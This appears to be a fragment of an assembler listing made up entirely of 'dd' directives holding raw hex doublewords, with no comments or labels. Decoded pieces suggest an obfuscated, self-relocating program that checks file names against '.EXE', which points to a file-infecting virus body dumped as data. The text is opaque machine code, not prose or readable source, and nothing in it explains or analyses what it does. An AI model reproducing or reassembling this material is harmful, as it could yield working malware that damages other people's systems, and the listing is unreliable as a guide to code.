		dd 1Bh,	0F9C35646h, 30AFE915h, 60E59C6Dh, 0E961CC8Ah, 10h
		dd 0D810C084h, 0D6C40807h, 0F1100FB4h, 22A6C8AFh, 14D8589h
		dd 13E905EAh, 0D3000000h, 917F6E99h, 0C000CEC7h, 0C7C6533Ch
		dd 0B01FCAEDh, 0C86851AFh, 60BCB265h, 0FE8h, 0AC205E00h
		dd 8F790EE4h, 5504103Ch, 854D4FFFh, 59FB8B66h, 460ABB66h
		dd 24048161h, 33DD4267h, 1830F60h, 0F5000000h, 0CE8h, 0A487A600h
		dd 9365F220h, 5406F4F6h, 585B5690h, 8DB5FF61h, 0FC05EA23h
		dd 78E0Fh, 80600000h, 91B09DD8h, 0A0858D61h, 6005EDAFh
		dd 0BB66C68Bh, 0FF61B052h, 52006AD0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 8830F1Bh, 60000000h
		dd 0C3A6B866h, 0F615F50h, 482h,	61606000h, 9D858961h, 0E905EA2Ah
		dd 11h,	2DE3A1EDh, 4EF3C284h, 0CB402765h, 16916C14h, 4585C601h
		dd 5005EA1Ah, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 19h,	91C35242h, 0E899F52Bh, 8E9ACh, 0B8C90000h, 7E50C58Ah
		dd 0C468359Ah, 0F6D4A7Dh, 1582h, 10E900h, 0D4570000h, 0EB115DCDh
		dd 0CCA4F320h, 67713A5Fh, 481EC75h, 525E9224h, 9E92Ah
		dd 0FB320000h, 0DC215EADh, 0FF1BCCA0h, 0EA1D45B5h, 858DF905h
		dd 5EA3969h, 0E9D0FFF5h, 0Fh, 9A95D961h, 820DA1Ah, 5E0EC3E7h
		dd 89E6A55Ch, 0EA0F5585h, 0C5E9F505h, 60000001h, 0C7B70FFCh
		dd 8D0F9561h, 8, 2870Fh, 61600000h, 9E950h, 3B5A0000h
		dd 6ADA047Fh, 95D6F77Bh, 11860Fh, 0CE90000h, 5000000h
		dd 94BBA261h, 0AC68C6Eh, 0E9383AF4h, 0Ah, 94BBA261h, 0AC68C6Eh
		dd 0EC8B3AF4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	13C35141h, 81BDA6ADh, 13E93E9Fh, 11000000h, 6817D796h
		dd 0B4DB16DBh, 9ED5E272h, 848D94B0h, 0C483C0A2h, 52006AFCh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 11E960FAh, 0B000000h, 0DB2F31EAh, 0F3F39DBFh, 0EE8C7609h
		dd 0AC2F6C0Ah, 0E8h, 0EA815A00h, 5EFABC4h, 0FC45C7h, 83000000h
		dd 0EA32A5BAh, 840F0105h, 98h, 6A006A52h, 4592FF0Fh, 5A05EA1Bh
		dd 0A4DF8289h, 9A8D05EFh, 5EFA4E3h, 2803C752h, 53000001h
		dd 4D92FF50h, 5A05EA01h, 0E39A8D52h, 5305EFA4h,	0A4DFB2FFh
		dd 92FF05EFh, 5EA0F55h,	74C00B5Ah, 0E39A8D50h, 8D05EFA4h
		dd 0C933247Bh, 104F981h, 0D4740000h, 393C8141h,	4558452Eh
		dd 348DEE75h, 0C752B39h, 379BA8Dh, 4D8B05EAh, 32A4F30Ch
		dd 0FF52AAC0h, 828D0875h, 5EA0379h, 9D92FF50h, 5A05EA2Ah
		dd 0A075C00Bh, 1FC45C7h, 0EB000000h, 0FC45C707h, 0
		dd 0FC458B61h, 8C2C9h, 13E960h,	459A0000h, 0F344357Eh
		dd 24A24008h, 0DA7DB862h, 0DBF86F09h, 0C23ABA06h, 0F6108B4h
		dd 68Dh, 0B8666000h, 0F617C75h,	178Eh, 27B36000h, 0EE9h
		dd 98DD5300h, 2C1EB732h, 0F8D7217Bh, 61C8AE73h,	66E9D28Bh
		dd 60000002h, 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 5EA1D45h
		dd 0AFA0858Dh, 0D0FF05EDh, 2B718589h, 0FE8B05EAh, 680CEFC1h
		dd 20060000h, 26A006Ah,	0D6857h, 95FF0001h, 5EA2B71h, 32E9h
		dd 4585C600h, 5605EA1Ah, 0C530DF68h, 8DB5FFA9h,	8D05EA23h
		dd 0EDAFA085h, 89D0FF05h, 0EA00B585h, 0A9858D05h, 5005EA0Bh
		dd 56A406Ah, 0B595FF56h, 6105EA00h, 0C3h, 2 dup(0)
		dd 0D48B5200h, 8428B60h, 0AD4C8589h, 428B05EFh,	4485890Ch
		dd 8B05EFADh, 85891042h, 5EFAD48h, 0AD82B58Dh, 858D05EFh
		dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 0EFAD4CB5h, 44858B05h
		dd 8305EFADh, 0EFAD48BDh, 840F0005h, 7,	2E90689h, 88000000h
		dd 0CF06h, 0
		dd 8B520000h, 428B60D4h, 4C858908h, 8D05EFADh, 0EFADD3B5h
		dd 35858D05h, 0FF005B7Eh, 8B5A61D0h, 0EFAD4C85h, 4C205h
		dd 0AD4C858Bh, 8B05EFh,	0AD4C8589h, 0CF05EFh, 60000000h
		dd 0ADA9B589h, 858905EFh, 5EFADA5h, 1A91858Dh, 408B05EAh
		dd 0E2858944h, 8D05EFADh, 0EFAE18B5h, 35858D05h, 0FF005B7Eh
		dd 858B61D0h, 5EFADA9h,	0A59D8BC3h, 0F05EFADh, 33C43B7h
		dd 785B8BD8h, 0ADA59D03h, 738B05EFh, 0A5B50324h, 5605EFADh
		dd 8B207B8Bh, 0BD031C73h, 5EFADA5h, 0ADA5B503h,	83FC05EFh
		dd 8B41FFC9h, 0EFADA99Dh, 3178B05h, 0EFADA595h,	4C78305h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 0EFADA585h, 0A9858905h, 8B05EFADh,	8BCE8BF0h
		dd 0E2BD81C1h, 5EFADh, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 5EFADE2h
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 0E2BD8100h
		dd 5EFADh, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 5EFADE2h, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 50858DCFh
		dd 8905EFADh, 0EA1C8185h, 0E6858D05h, 8905EFADh, 0EA23E185h
		dd 0AD858D05h, 8905EFADh, 0EA1B9585h, 5E805h, 0F2D00000h
		dd 66A8F2B5h, 20CCC881h, 0ECBA6659h, 0B7C1818Eh, 0BA00005Ah
		dd 0D332F2Dh, 9E9FF33h,	0D5000000h, 19A82460h, 0A37D43ABh
		dd 0E90F34FFh, 12h, 0FE282548h,	0AF7E5FF0h, 5BFF01BFh
		dd 743141FEh, 665B89A8h, 81ED63BAh, 0A59C66EBh,	0C3B70F07h
		dd 0BF14EB81h, 81664796h, 811A09F6h, 0FC2CD9EBh, 0B966607Ah
		dd 81666CFFh, 611767DAh, 0F391C89h, 0E83h, 6E800h, 8A280000h
		dd 2B8076D5h, 0BE58D08Bh, 7398F4C1h, 8B02EF83h,	814F4FD0h
		dd 0FFA5ECFFh, 8D850FFFh, 0FFFFFFFh, 48Eh, 0CEBA6600h
		dd 0EE872h, 0C8B40000h,	0E2636E35h, 0A31B611Ch,	0F03309D6h
		dd 38E0F57h, 66000000h,	585AD68Bh, 9E9h, 95B34600h, 6B19E8FCh
		dd 0C08137DAh, 64DBh, 88B0Fh, 890F0000h, 2, 50BFF08Bh
		dd 811DE0F5h, 1F23ACC7h, 8BF18BE2h, 19880F18h, 0E8000000h
		dd 10h,	0D3DE31CBh, 43C6C7D9h, 992A816Eh, 8544C777h, 5AA1E580h
		dd 0CCD6EB81h, 0F565ADCh, 48Bh,	12BE6600h, 0C3815EFDh
		dd 2D509A61h, 71CDF381h, 31B11D3Bh, 8B661889h, 1E883D1h
		dd 615A5760h, 0F484848h, 0D84h,	8E900h,	0B30B0000h, 0EF6CCAC8h
		dd 0EF810AF2h, 1, 10850Fh, 0D18B0000h, 30E9h, 0F1E60000h
		dd 449A3725h, 890F642Eh, 12h, 0C8E0Fh, 7E90000h, 0A6000000h
		dd 0D5467E64h, 64E92B1Ah, 50FFFFFFh, 3180BCDEh,	211FC1E5h
		dd 0CD132CD3h, 0A14A7DE8h, 54AE5BA4h, 40713DF0h, 3C354C04h
		dd 0ED70FF78h, 0AE8554FEh, 0D085B183h, 9B24FF31h, 0EF780746h
		dd 3C887222h, 0EC301233h, 0ED39F93Eh, 8B663E31h, 46CD4BAh
		dd 0ED358C41h, 50B69963h, 0E8DFD28Ch, 0DDB1FE31h, 1435F831h
		dd 0ED3627D8h, 0F1B73131h, 8D351F31h, 4FF303Eh,	0ED35C723h
		dd 0D014C26Ch, 0CC8DF761h, 3EE7C2C7h, 1BE31A9Ch, 0E254BFE0h
		dd 0ED351DB9h, 60C40431h, 284DFB4h, 0BA358934h,	0ED35F2D9h
		dd 2E6AD831h, 0C949F56Eh, 0C971BF35h, 0ED350635h, 2E62C831h
		dd 42887B60h, 1CB527B5h, 8D62A159h, 0ED35E8D9h,	0C1492E31h
		dd 487CC700h, 9E92A8B0h, 0C03320FEh, 718E9CB8h,	8C4A89C3h
		dd 0C9317868h, 0ED397E3Eh, 0EADC7C31h, 0FD353E31h, 4E4B1EBh
		dd 68B83472h, 0E8DA77CBh, 7DFD5C3Eh, 0BD65AB66h, 5753AB63h
		dd 0E26F86B3h, 26BE5800h, 87A5476Bh, 0EEDDDF31h, 0CD35C731h
		dd 646D2069h, 6C31D575h, 0F031DC75h, 0AD357C31h, 0D98FD61h
		dd 0B806A3EEh, 0B91D44E5h, 0E1E852CEh, 3BBEE6DBh, 5A3A31BAh
		dd 34887BC3h, 0ED309622h, 50B63744h, 0E8DF31D4h, 0BD2CFB31h
		dd 55F54C62h, 0ED35E74Bh, 0E04C74B8h, 70B8FDDBh, 0E8D9A1C4h
		dd 0B56EEDCEh, 0C3D0A2B2h, 99358ADBh, 55669726h, 0ED35E74Bh
		dd 0E04C74B8h, 70B8FDDBh, 0E8D9A6D5h, 0B56EEDCEh, 0ED31943Eh
		dd 57538F31h, 0ED5F5547h, 0ED360B66h, 0B215F131h, 91BCA7F2h
		dd 0A9B47815h, 0ED293A15h, 0BA721F31h, 8CA539F2h, 0AEC759F6h
		dd 2DBE40CBh, 560F15Bh,	0ED35F832h, 0B0F62111h,	0E91152B8h
		dd 0E9115BB0h, 0ED358F24h, 5BF69274h, 0EFA86EF8h, 87301E80h
		dd 0EEDDA831h, 0CD357C31h, 646DFD69h, 6C313B75h, 0F031AB75h
		dd 0AD35C731h, 0F9552061h, 0ACFBC7D2h, 2B46E8D0h, 663A1C51h
		dd 0ED353E31h, 210D758Eh, 0E2DDEE3Ah, 6C35C731h, 80BC152Fh
		dd 0D5C26CAAh, 3E3D6F7h, 5553EF5Dh, 8C6D11A3h, 4C929ABCh
		dd 0ED5F8ADEh, 0ED362F63h, 0B715E331h, 0B9BCABF2h, 0A9B4FC15h
		dd 0ED297815h, 0BF773E31h, 9EE2CDF2h, 8D42834Eh, 4C90B87h
		dd 0ED35E325h, 0CB40302Ah, 0FAC1F5F6h, 0A69B08AEh, 3B8DBB74h
		dd 1EB254B1h, 0ED5F5FCEh, 0ED362F64h, 0B015E331h, 81BCACF2h
		dd 0A9B4FC15h, 0ED207815h, 0B8703E31h, 8D9138F2h, 4313818Ah
		dd 2D3EA641h, 0ED13673Eh, 0E1DCF131h, 0E935F831h, 2AF5CD13h
		dd 0BD4EA386h, 60540C25h, 779AEACh, 8AA07834h, 0EE8D81BCh
		dd 1235F131h, 3F82F7D2h, 5C3FE1BCh, 66533BDEh, 4AB092C0h
		dd 0E2306090h, 0ED35C7BDh, 0E6E51C31h, 0B8B1FEF1h, 8735F831h
		dd 0EEDD2E31h, 0CD353E31h, 646FDC6Bh, 6C31AB65h, 0FA31E375h
		dd 0AF35E331h, 0F9B13263h, 60C05F66h, 7795DACh,	0BA355434h
		dd 0ED351CD9h, 2E6AAF31h, 0C9494E6Eh, 0C9716235h, 0ED35EC35h
		dd 2E62BF31h, 0E554D736h, 57E5C65Fh, 0EC8D0E6Bh, 0E2358F31h
		dd 0ECA3686h, 5C3A7EBCh, 0E265F4DEh, 0ED35FDB5h, 0ADC231h
		dd 606F5469h, 294B8B4h,	0BD35E534h, 0ED35C4D9h,	2E6DC331h
		dd 0C9717869h, 0C9717935h, 0ED356A35h, 2E657E31h, 121CBBCFh
		dd 0ED2666E1h, 0D984C731h, 96E9C180h, 0A7FF0740h, 507C19E9h
		dd 2FCACEABh, 0E2F5355Dh, 0ED352CB5h, 0EC8AE931h, 0CCA84A82h
		dd 8730097Dh, 0EEDDA431h, 0CD35F831h, 6468BF6Ch, 6C311A5Dh
		dd 0F9313B75h, 0A8358F31h, 8B770464h, 0EE8D14BAh, 1235F131h
		dd 3EBE9ED2h, 600ACA72h, 285C68Ch, 2BB89234h, 55306085h
		dd 677E9B4Ch, 0EB9C6602h, 221EF4DBh, 3FE1BCF0h,	533BDE5Ch
		dd 0B092C066h, 3060904Ah, 35C7BDE2h, 0E51C31EDh, 83FEF1E6h
		dd 0A4F305E9h, 0E960C08Bh, 0Eh,	0CB2B9FD4h, 0ECA5251h
		dd 0AA1DB747h, 860FC47Ch, 1, 8B6661F5h,	6AC38BC8h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 6E49C351h, 6F56BE2Fh, 83C08BCFh, 0EA13D9BDh,	9750005h
		dd 2EE5BD83h, 740005EAh, 8B535019h, 47AB8C0h, 85890000h
		dd 5EA0769h, 0DE5C9D8Dh, 0D3FF05ECh, 0BD83585Bh, 5EA2EE5h
		dd 50177400h, 47AB853h,	85890000h, 5EA0769h, 0DAFD9D8Dh
		dd 0D3FF05ECh, 0AE9585Bh, 61000000h, 0FE23B902h, 509D0A59h
		dd 0F28166A6h, 0C1815C06h, 0DD915E5h, 8D8DC08Bh, 5EFB66Dh
		dd 0A9E08166h, 0DD8D8909h, 0F05EA0Ah, 386h, 0D88B6600h
		dd 0C7FA8B66h, 0EA0ACD85h, 6D7005h, 9D896000h, 5EA1601h
		dd 0C26ABB66h, 0F585C761h, 5EA25h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0A3FC350h, 0C00A6A83h, 0FFBFC366h, 0EA003DB5h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 31D37626h, 0DE8D6h, 0F13D0000h, 8B4198D2h, 4CA2581Eh
		dd 5BAE27D3h, 2A1995FFh, 6A05EAh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 78B7E4C3h, 12E9h, 3EC9B100h
		dd 0D75FDF79h, 76664D96h, 0A279CB13h, 6A5E9923h, 1595FF00h
		dd 8B05EA10h, 0BD4EEBC0h, 0D9BC0D1Fh, 8304169Ah, 9C61F7BCh
		dd 0A42B3AD9h, 9D641B84h, 0E7857A5Ah, 92BCB0F6h, 0E71A59AEh
		dd 20333945h, 0E88CB8ABh, 832B97C9h, 8C11E455h,	1D4FCF93h
		dd 0FB2DB8B2h, 2EF45E76h, 28379394h, 0BCA79A00h, 6AE093Bh
		dd 0C95546FEh, 15CE97Ah, 1F2F0000h, 4BCBF08Bh, 58B49693h
		dd 56B90A81h, 56B9538Ah, 58330A89h, 71CF5382h, 24A63AA9h
		dd 253753FBh, 7973C4DBh, 0B698606Fh, 140552BCh,	15D653CDh
		dd 147F53CDh, 14BB53CDh, 14DF53CDh, 14EF53CDh, 14D853CDh
		dd 14FB53CDh, 14F553CDh, 14FE53CDh, 6D2C53CDh, 79DA27BEh
		dd 668F73CDh, 678A30A2h, 14F70EBEh, 14FB53CDh, 14FD53CDh
		dd 14FE53CDh, 147F53CDh, 14BF53CDh, 14DF53CDh, 14EF53CDh
		dd 14F753CDh, 14FB53CDh, 14FD53CDh, 14FE53CDh, 147F53CDh
		dd 14BF53CDh, 14DF53CDh, 14EF53CDh, 14F753CDh, 14FB53CDh
		dd 14FD53CDh, 14FE53CDh, 147F53CDh, 14BF53CDh, 14DF53CDh
		dd 14EF53CDh, 14F753CDh, 14FB53CDh, 14FD53CDh, 14FE53CDh
		dd 147F53CDh, 14BF53CDh, 14DF53CDh, 14EF53CDh, 14F753CDh
		dd 14FB53CDh, 14FD53CDh, 14FE53CDh, 147F53CDh, 14BF53CDh
		dd 14DF53CDh, 14EF53CDh, 14F753CDh, 14FB53CDh, 14FD53CDh
		dd 14FE53CDh, 147F53CDh, 14BF53CDh, 14DF53CDh, 14EF53CDh
		dd 14F753CDh, 14FB53CDh, 14FD53CDh, 14FE53CDh, 147F53CDh
		dd 14BF53CDh, 14DF53CDh, 14EF53CDh, 14F753CDh, 14FB53CDh
		dd 14FD53CDh, 14FE53CDh, 147F53CDh, 0BB8D53CDh,	64E9558Eh
		dd 68000016h, 5EFBA27h,	0FBA007E9h, 0BB4968FFh,	0FDE905EFh
		dd 68FFFB9Fh, 5EFBC44h,	0FB9FF3E9h, 0BD1D68FFh,	0E9E905EFh
		dd 68FFFB9Fh, 5EFBEAEh,	0FB9FDFE9h, 0BFD468FFh,	0D5E905EFh
		dd 68FFFB9Fh, 5EFC09Eh,	0FB9FCBE9h, 0C17968FFh,	0C1E905EFh
		dd 68FFFB9Fh, 5EFC39Dh,	0FB9FB7E9h, 0C48D68FFh,	0ADE905EFh
		dd 68FFFB9Fh, 5EFC555h,	0FB9FA3E9h, 0C5DC68FFh,	99E905EFh
		dd 68FFFB9Fh, 5EFC756h,	0FB9F8FE9h, 0CC1768FFh,	85E905EFh
		dd 68FFFB9Fh, 5EFCD23h,	0FB9F7BE9h, 0B5CDB8FFh,	324A315Eh
		dd 8DC5B6D9h, 0B430966h, 85BD8FE0h, 9614396Eh, 0E8876CA4h
		dd 6F00EB23h, 0EF806BA3h, 0AD0CE71Fh, 412FF194h, 9331E825h
		dd 1C34048Ch, 1390665h,	0D4A4C36Dh, 3FD1E9D7h, 0B3907B33h
		dd 0FDC4BDF2h, 35899898h, 0D4B148E2h, 0E235894Ch, 189CD41Ch
		dd 0AF90A841h, 8FB6DA81h, 1FFD1BEAh, 0A26ECDE8h, 0ADCC226Ah
		dd 0E81FFD7Fh, 4F508BACh, 49255D2Ch, 513F5A6Ah,	6F1638h
		dd 48F50000h, 0FF3B424Dh, 98922CB7h, 625B37F8h,	950385Bh
		dd 367BC46Ch, 246CA4E2h, 0CFAAC6CAh, 0E820AB42h, 919FFAC3h
		dd 0E8E820ABh, 0B37BE71Fh, 0DAA003DFh, 6504EAA2h, 0E820AAB7h
		dd 2EC2416h, 420B9865h,	0A0E8E40Ah, 0CF0A914Eh,	21E5ACFDh
		dd 5EFA415Bh, 351A3966h, 0B326711Dh, 84ACC9F0h,	64E820FEh
		dd 0E1E3C0ACh, 9F385244h, 0EBh,	1C34047Ch, 6BA395F2h, 0E21AE285h
		dd 6BA36B0Ch, 8E0EE980h, 9D6DE235h, 19E18E65h, 69240FE1h
		dd 0AA447C4Dh, 8E2EF297h, 0FA32E235h, 0E683FAB2h, 0E81F9BAFh
		dd 0B19279B1h, 0A7C2BBF4h, 0EE0C7A6Ah, 0D7EFDD7Eh, 47D3539h
		dd 0BF61043Dh, 0A1EE0C79h, 79E44C69h, 4C84EE0Ch, 907A1920h
		dd 9C620178h, 96A30864h, 23CD05F5h, 23A0C2Fh, 33B0D6Eh
		dd 8CF3B63Ah, 7F63CDCDh, 13BCh,	0CB205823h, 56BDD5A4h
		dd 0D3385039h, 5DB6CEBCh, 0DB304832h, 5923A18Ch, 0D8A5CA21h
		dd 58244BA0h, 0D4A4CB20h, 0CFF657BCh, 254386AAh, 0E7F85AE8h
		dd 71AD9A5Eh, 5FDDF804h, 78358A5Ch, 86A5EDD5h, 606C82BAh
		dd 0A99D6F0Ch, 0CDC32992h, 493078BBh, 0BC6E558Dh, 15703026h
		dd 0E236440Bh, 315D15DDh, 0CD05F59Ah, 0A09A70B4h, 513E34B9h
		dd 5E89963Dh, 5A364E3Dh, 2C1C3875h, 0AB9DFA14h,	39717D93h
		dd 0A46D0871h, 44E81FB7h, 1903628Ch, 2E81FB7h, 0D9EBB225h
		dd 973850FDh, 0D7h, 77340474h, 919D738Bh, 665037D9h, 46A1C02Eh
		dd 0A5E2358Eh, 3956BDD5h, 0FCD73951h, 843BFFC1h, 6C312D26h
		dd 4AF7154h, 12B1E236h,	145C142Ch, 129D086Dh, 8B43E820h
		dd 97F2CBF2h, 0E8201289h, 6EB2975Fh, 72E82012h,	5E7DD6BAh
		dd 0ED29505Fh, 612D0BC3h, 4FCBC729h, 0B1DDB138h, 1F23ED88h
		dd 0DC5EE0Dh, 11291774h, 0A69FF3FFh, 30DBF3C5h,	7C946605h
		dd 91F29E92h, 0B4566FA7h, 2FCD8C4Fh, 129A9D81h,	7A4D0000h
		dd 0F7C6A942h, 725B34DFh, 0F0DEB15Ah, 6A5C33D8h, 0C3EEB952h
		dd 0B45F7741h, 35DEF6DBh, 0B55E765Ah, 31DAF2DAh, 64CCA990h
		dd 4E82544h, 3204B9A6h,	3800631Ah, 236BA36Bh, 0C38BE44Fh
		dd 8951DFBAh, 0B417E235h, 6E628CC4h, 1D350526h,	4A1BE55h
		dd 728A7734h, 0CEB3909Ch, 7710FEB6h, 0CBA44F87h, 4324CA02h
		dd 0ECA8437Bh, 5F504D83h, 0A31E4326h, 0AC2E81Fh, 0D482AB3Eh
		dd 1895DFA9h, 0E8BEE97h, 0D2E593E4h, 0E3E24E2Bh, 663E593h
		dd 0E593E41Ah, 529A06CEh, 3700631Ah, 91FDF11Fh,	9761023Fh
		dd 0F19D917Fh, 0A9D0DFDEh, 0F30BF390h, 93D2FA9Fh, 4A73EB81h
		dd 940A1673h, 16DEEB81h, 8193ED33h, 573BF3EBh, 593A438Bh
		dd 354D3271h, 9AA3967Dh, 819431FFh, 0A39437EBh,	0C189856Bh
		dd 0FE119E2h, 3C0C6F03h, 93D05035h, 5890EB81h, 0DAB12910h
		dd 68C6D017h, 119F74h, 5D754000h, 0DAF2D9B6h, 556D5E31h
		dd 0D3EBD1BEh, 2D655738h, 3EBC91C6h, 0B0DF344Ch, 3758B3CBh
		dd 0B7D8334Bh, 0C5648FC7h, 459799FCh, 0EB49E825h, 1C3404F4h
		dd 0D3DCD9F2h, 9DDACFAAh, 86BE81Fh, 0F3A2C642h,	0D51A38E9h
		dd 137F739Dh, 639B6CCFh, 22C9818Dh, 0AB457D4Dh,	0F38A0580h
		dd 0FEC6B96h, 0E1847DEEh, 0EE0FEC3Fh, 206DE921h, 1DCC290Bh
		dd 9BF881C9h, 0CD6EAAB3h, 19FC84F4h, 4986AA8Fh,	925AEE10h
		dd 6E5E31DAh, 1293B856h, 1CF20AF6h, 18215810h, 2717947Bh
		dd 0AECBA7EFh, 0F4000043h, 0F794ED25h, 0D5B6CF07h, 0C3411CE8h
		dd 894A0EA8h, 4F232FC1h, 8BC38BE4h, 82AECBF2h, 66F3FFA3h
		dd 476CC2AEh, 55304946h, 0F9E9AFA4h, 1FB58C44h,	58C1AFBFh
		dd 10C6EAF6h, 2E190000h, 0AB92FD16h, 26177893h,	0A46A05EEh
		dd 1EE8876Ch, 775A0DE6h, 20CB03F5h, 0A14A824Fh,	21CA02CEh
		dd 0AD467E4Eh, 0D050350Ch, 90E82545h, 32042D32h, 0D3D2F11Ah
		dd 35C0A5DCh, 2BE81FB3h, 53300DE3h, 0B3BF5169h,	0B4CCBCDFh
		dd 0FC48305Fh, 12B9504h, 0ADD49C03h, 722FF194h,	0F931E820h
		dd 95103B95h, 0BF06631Ah, 0A1EE0A78h, 0A3F88769h, 145D2D38h
		dd 0A78AF71h, 74F5A9EEh, 0F9555E5Ch, 37F99C65h,	29EE09F0h
		dd 0AE1A9E1h, 5A236C29h
		dd 1390063h, 69B7D2EFh,	7FEE09F0h, 0F693FFB7h, 0F3F419FFh
		dd 0A0C729E1h, 0BAD9A0D8h, 7BD5B9D1h, 0A1786370h, 0B7D2ABE4h
		dd 0F9DE443Eh, 6E01EA22h, 0E988669Eh, 0F9DE5443h, 273EB922h
		dd 49CA0E57h, 732F0885h, 2A18FAAh, 8F47F9DEh, 0E287BEC7h
		dd 0F9DE023Eh, 66EEA22h, 0ECD74DA8h, 0DAB51E72h, 1F34DAF2h
		dd 0D68119Eh, 0FFC8ACB4h, 0FE4A3251h, 0BE4906E2h, 7F135BC1h
		dd 0B5806BA3h, 5C47E98Ch, 0D119FFC9h, 0B1AFF5BDh, 5C43ED88h
		dd 0DC25FFC9h, 0C95C77B9h, 0E9A169FFh, 5C2BF590h, 0F53DFFC9h
		dd 0B8F7B699h, 1365A4C1h, 0FD9E05B9h, 171BF50Dh, 13250B6Eh
		dd 0F33B05B9h, 0BF8B439Fh, 13EE5A2Ch, 67AB3EBAh, 0D6C82CAh
		dd 5B9031Fh, 453C7332h,	0A8B9C920h, 33197A0Bh, 63AB771Bh
		dd 7991791Ah, 0F8C4A792h, 0E21AE3C0h, 0F6C000Ch, 1D7E073Fh
		dd 0D779152Dh, 0B78EC6B0h, 0AFF0B3FBh, 35E2FE50h, 0AA00000Fh
		dd 234CA7DFh, 0A0CF245Ch, 3B54BFD7h, 0B9D63D55h, 0B5CB7CFh
		dd 0BAD2A426h, 39513E51h, 0B9D1BDD2h, 354D3D52h, 23467FDEh
		dd 0E82546FDh, 45E41E3h, 9EF11A32h, 0D6EF96AEh,	35896DB3h
		dd 0D7BB73E2h, 162E1E79h, 0B1D227F8h, 0D8F0DAC9h, 1E723A36h
		dd 0E7D78E49h, 596B44AFh, 5F3266CFh, 5F334B3Ch,	1412Eh
		dd 3404CD00h, 0A595F21Ch, 0E8A5866Dh, 8FC7FFCCh, 9D6293F6h
		dd 0A506E81Fh, 1AF4BCD4h, 1F9CB17Bh, 9A5D7AE8h,	50E04183h
		dd 43FF38h, 481C0000h, 5E3B424Dh, 0E81FB7B3h, 54C3350h
		dd 1FB7C060h, 2068A0E8h, 72AEC2CEh, 506954BAh, 1FB7EB35h
		dd 5935FDE8h, 1FB7F03Ch, 0DF1A3DE8h, 50FF06C6h,	0AECBF238h
		dd 0E81FAC82h, 0B3C2AE66h, 0A2h, 1C340450h, 0E0ACCFF2h
		dd 1E7B46A8h, 0E2358912h, 3A561ED6h, 0B9576F59h, 38D6EEDEh
		dd 0BC576F5Fh, 358E12D5h, 69A169E2h, 0ABE4A182h, 69C7B7D2h
		dd 0B87CE822h, 0C1518202h, 0DC006C95h, 3C0E6D14h, 0B680EF04h
		dd 0DE1DA79Eh, 0F856D377h, 0E0FE4h, 0ADE5D000h,	2A622946h
		dd 0A5DDAEC1h, 235B214Eh, 0BDD5A7C8h, 0AE2C0156h, 204FA4DCh
		dd 0A7C8235Bh, 2748A3DBh, 75D43F57h, 4807294Ch,	7BD9E825h
		dd 1A320464h, 0BAB5A763h, 8114E61Ch, 20939DF8h,	9D55E236h
		dd 0C6F5AF1h, 0E1ED033Bh, 0E61EEE8Dh, 3404120Dh, 0A595F21Ch
		dd 88F7395Ch, 21E9E235h, 4C291069h, 0E23588E4h,	8B204C84h
		dd 12FC14E4h, 4A337C39h, 1FA4F62Fh, 0C922EAE8h,	782DDh
		dd 32048E00h, 8795F41Ah, 0BCE23589h, 34DAF2DFh,	0FC244138h
		dd 0ECE23588h, 26674824h, 7C751069h, 6CE8253Fh,	0CEBEDDA4h
		dd 750BCFB6h, 0D4FDCE9h, 719FB781h, 0F259357Dh,	7B95AD9Dh
		dd 2B122A1Ch, 0D374068Bh, 45524EE0h, 9A00000Dh,	137C97AFh
		dd 90FF142Ch, 0EB846FA7h, 6906ED25h, 0DB8C679Fh, 4A8274F6h
		dd 0C901CEA1h, 49814D22h, 0C5FDCDA2h, 0D3B68F2Eh, 0E825494Dh
		dd 4AEB113h, 9EF11A32h,	457896AEh, 4C205826h, 804C5F2Fh
		dd 0FE9BA648h, 0E2358932h, 0FEB6FE36h, 0A154CF10h, 0F810FD9Eh
		dd 15761A16h, 2906ED25h, 3266CF9Bh, 2955h, 2A589C00h, 0C8DC09B9h
		dd 5E8695F9h, 0AE73439Ah, 563A425Bh, 35DC2333h,	79917AE2h
		dd 0AAD39B97h, 0A6CA02C9h, 0FFFDE9BEh, 1A02EDFFh, 3DE23589h
		dd 4F760F80h, 48245C2Ch, 253FDC2Dh, 3D448CE8h, 0BD566E5Eh
		dd 86E3EAD2h, 0E825409Ah, 2A02864Eh, 79C6962h, 0B8DF3179h
		dd 0E4EDDDCEh, 248E9F81h, 0C18941E8h, 0AE41CE2h, 99774E06h
		dd 32D374E0h, 0C6A809Ch, 8A7D0000h, 7F69972h, 824B24CFh
		dd 0CEA14Ah, 7A4C23C8h,	0D3FEA942h, 0C42F6751h,	45AEE6ABh
		dd 0C52E662Ah, 41AAE2AAh, 74BCD9E0h, 74E8254Ah,	3D5EC9D6h
		dd 556D5350h, 11FFB7BBh, 2A12711Dh, 0B39BFC12h,	0C93C08F0h
		dd 464960BBh, 39088CC4h, 0A6969888h, 48977931h,	4D3D28D3h
		dd 88EBDE35h, 646886BEh, 84992B08h, 1A573267h, 0B4000000h
		dd 1E02675Eh, 7DE23589h, 21E9758Dh, 933E284Dh, 0AEF6E235h
		dd 0FFFFFD16h, 424D48FDh, 8B9F5E3Bh, 8941E81Fh,	8B170667h
